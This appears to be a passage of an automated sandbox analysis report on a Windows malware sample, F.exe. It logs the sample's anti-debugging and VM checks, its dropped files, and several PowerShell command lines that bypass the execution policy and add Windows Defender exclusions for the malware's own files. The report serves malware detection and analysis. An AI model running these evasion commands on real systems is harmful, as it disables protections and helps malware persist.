WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: Synaptics.exe.2.dr	Binary or memory string: vmware
Source: F.exe, 00000002.00000003.2062983320.0000000000863000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{
Source: ._cache_F.exe, 00000003.00000002.3306082752.000000001B7E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%
Source: Synaptics.exe, 00000004.00000002.2505106985.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\._cache_F.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\._cache_F.exe

Code function: 3_2_00007FF848F06E61 CheckRemoteDebuggerPresent,

3_2_00007FF848F06E61

Source: C:\Users\user\Desktop\._cache_F.exe	Process queried: DebugPort			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\._cache_F.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'

Bypasses PowerShell execution policy

Source: C:\Windows\svchost.com

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'

Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)

Source: C:\Users\user\Desktop\F.exe

File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Jump to dropped file

Source: C:\Users\user\Desktop\F.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\F.exe "C:\Users\user\AppData\Local\Temp\3582-490\F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\Users\user\Desktop\._cache_F.exe "C:\Users\user\Desktop\._cache_F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe	Queries volume information: C:\Users\user\Desktop\._cache_F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
